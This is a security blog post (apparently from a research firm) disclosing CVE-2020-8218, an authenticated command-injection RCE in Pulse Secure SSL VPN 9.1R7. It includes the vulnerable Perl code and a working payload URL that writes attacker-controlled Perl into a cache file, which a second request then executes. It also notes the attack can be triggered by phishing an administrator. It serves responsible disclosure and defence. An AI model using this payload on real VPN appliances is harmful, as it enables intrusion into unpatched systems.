Update: A full remote pre-authentication exploitation chain proof of concept has been documented by our team now that Pulse Secure made all the software patches available.
During an engagement, we discovered a Pulse Secure SSL VPN running the version 9.1R7, which was the latest version available at the time. Many vulnerabilities had been found in previous versions of the VPN, so we were eager to see if we could find shortcomings of our own in the latest one. After some time, we did manage to find several new vulnerabilities that allow, among other things, an unauthenticated user to run arbitrary code remotely (RCE).
Update: A full remote pre-authentication exploitation chain proof of concept has been documented by our team now that Pulse Secure made all the software patches available.
During an engagement, we discovered a Pulse Secure SSL VPN running the version 9.1R7, which was the latest version available at the time. Many vulnerabilities had been found in previous versions of the VPN, so we were eager to see if we could find shortcomings of our own in the latest one. After some time, we did manage to find several new vulnerabilities that allow, among other things, an unauthenticated user to run arbitrary code remotely (RCE). The RCE itself (CVE-2020-8218) requires to be authenticated with admin privileges but can also be triggered by an unsuspecting admin simply clicking on a malicious link. All our findings were disclosed, but some have yet to be patched. Therefore, this blog post will only discuss the RCE, which Pulse Secure stated to have patched in version 9.1R8. We will release the details about the remaining vulnerabilities in a later blog post when they have been fixed or 90 days after disclosure.
Technical Analysis
downloadlicenses.cgi
file of the admin portal. Here is the exploitable code:
my $cmd;
if (DSLicense::isVLSImage() || DSLicense::isLicsFromPcls() || DSLicense::isEnabled($DSLicense::FT_mssp_core)) {
$cmd = $ENV{'DSINSTALL'} . "/bin/dslicdownload -i -e /tmp/.download_err -o /dev/NULL -a $authCode";
// ...
}
// ...
my $ret = system($cmd);
authCode
is a parameter that we control and reaching that section of the code is trivial if we already have admin privileges, the vulnerability should be quite easy to exploit, right? Well, not quite. Pulse Secure added a lot of hardening to its applications. One protection it uses is to intercept dangerous function calls, such as system, and remove many special characters to make it safer. Luckily, previous work defeating a similar scenario was already well documented which made our task easier. From these previous findings and our own experiments, we came up with the following payload:
https://x.x.x.x/dana-admin/license/downloadlicenses.cgi?cmd=download&txtVLSAuthCode=whatever%20-n%20%27($x=%22ls%20/%22,system$x)%3b%20%23%27%20-e%20/data/runtime/tmp/tt/setcookie.thtml.ttc
Once URL decoded:
https://x.x.x.x/dana-admin/license/downloadlicenses.cgi?cmd=download&txtVLSAuthCode=whatever -n '($x="ls /",system$x); #' -e /data/runtime/tmp/tt/setcookie.thtml.ttc
The cmd
parameter is required to reach the vulnerable code, while txtVLSAuthCode
contains our desired payload. Once the payload is sent, we still need to access https://x.x.x.x/dana-na/auth/setcookie.cgi
in order to execute our command. The following screenshot shows the result of a successful attack where we sent ls / as our command. We can see that the root directory content is listed in the response:
dslicdownload
accepts 2 important parameters: n
and e
. e
dictates where the output will be sent to in case of an error, for instance if we send an incorrect AUTH code. Note that the code already specifies an e parameter, but we can change it by adding our own parameter at the end. Since the filesystem is mostly read-only, we chose to output our error message to a cache file (/data/runtime/tmp/tt/setcookie.thtml.ttc
) because it is one of the few files that is writable. This is well explained by Orange Tsai if you need more details. Here is the error message when sent without the n parameter:
Failed to look up licensing hardware ID
Not very useful, right? This is where the n
parameter comes into play. It changes the error message to:
Cluster node < n parameter goes here >:
Failed to look up licensing hardware ID
Writing syntactically valid Perl in this context is a bit tricky, but not impossible. Looking back at our payload, we see that the line becomes:
Cluster
is a method, node is a package, and everything inside the parentheses are the arguments. Of course, Cluster
and node do not exist in this context so a runtime error is to be expected, but not before the arguments are resolved and our payload is executed.
To recap, here is a summary of what happens in a successful attack scenario:
- An attacker with admin privileges goes to the URL (decoded):
https://x.x.x.x/dana-admin/license/downloadlicenses.cgi?cmd=download&txtVLSAuthCode=whatever -n '($x="ls /",system$x); #' -e /data/runtime/tmp/tt/setcookie.thtml.ttc
- The URL parameter
cmd
is set to “download”, so we reach the vulnerable code. - The URL parameter
txtVLSAuthCode
is then appended to the$cmd
variable in thedownloadlicenses.cgi
file.$cmd
becomes:
$cmd = $ENV{'DSINSTALL'} . "/bin/dslicdownload -i -e /tmp/.download_err -o /dev/NULL -a whatever -n '($x="ls /",system$x); #' -e /data/runtime/tmp/tt/setcookie.thtml.ttc";
$cmd
is then executed as a shell command through the system function call a bit further into the code.- The command line argument
-e
we added sets the error output file to/data/runtime/tmp/tt/setcookie.thtml.ttc.
- The command line argument
-n
sets the error output to:
Cluster node ($x="ls /",system$x)#:
Failed to look up licensing hardware ID
This output is appended to the file we set with the-e
argument. - The attacker goes to the URL
https://x.x.x.x/dana-na/auth/setcookie.cgi.
The cache file we modified, along with our payload, is then executed. We successfully achieved remote code execution.
Conclusion
Hopefully, you found the payload and the vulnerability as interesting as we did. While it does require to be authenticated, the fact that it can be triggered by a simple phishing attack on the right victim should be evidence enough that this vulnerability is not to be ignored. The other vulnerabilities found and the methodology that allowed us to find them have been documented in part 2 of this series. A presentation titled “Forget your Perimeter: From Phishing Email to Full VPN Compromise” was presented at our GoSec virtual conference.
Clients of GoSecure Managed Detection and Response (MDR) with the Network Detection and Response have detection capabilities in-place in case of exploitation of this vulnerability.
Timeline
- 2020-06-09: Discovery of the vulnerability
- 2020-06-12: Vulnerability disclosed to Pulse Secure
- 2020-07-29: New version released with fix
Researchers
- Maxime Nadeau
- Romain Carnus
- Simon Nolet
- Jean-Frédéric Gauron
- Temuujin Darkhantsetseg
- Julien Pineault
References
SA44516 – 2020-07: Security Bulletin: Multiple Vulnerabilities Resolved in Pulse Connect Secure / Pulse Policy Secure 9.1R8
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44516/?kA23Z000000L6i5SAC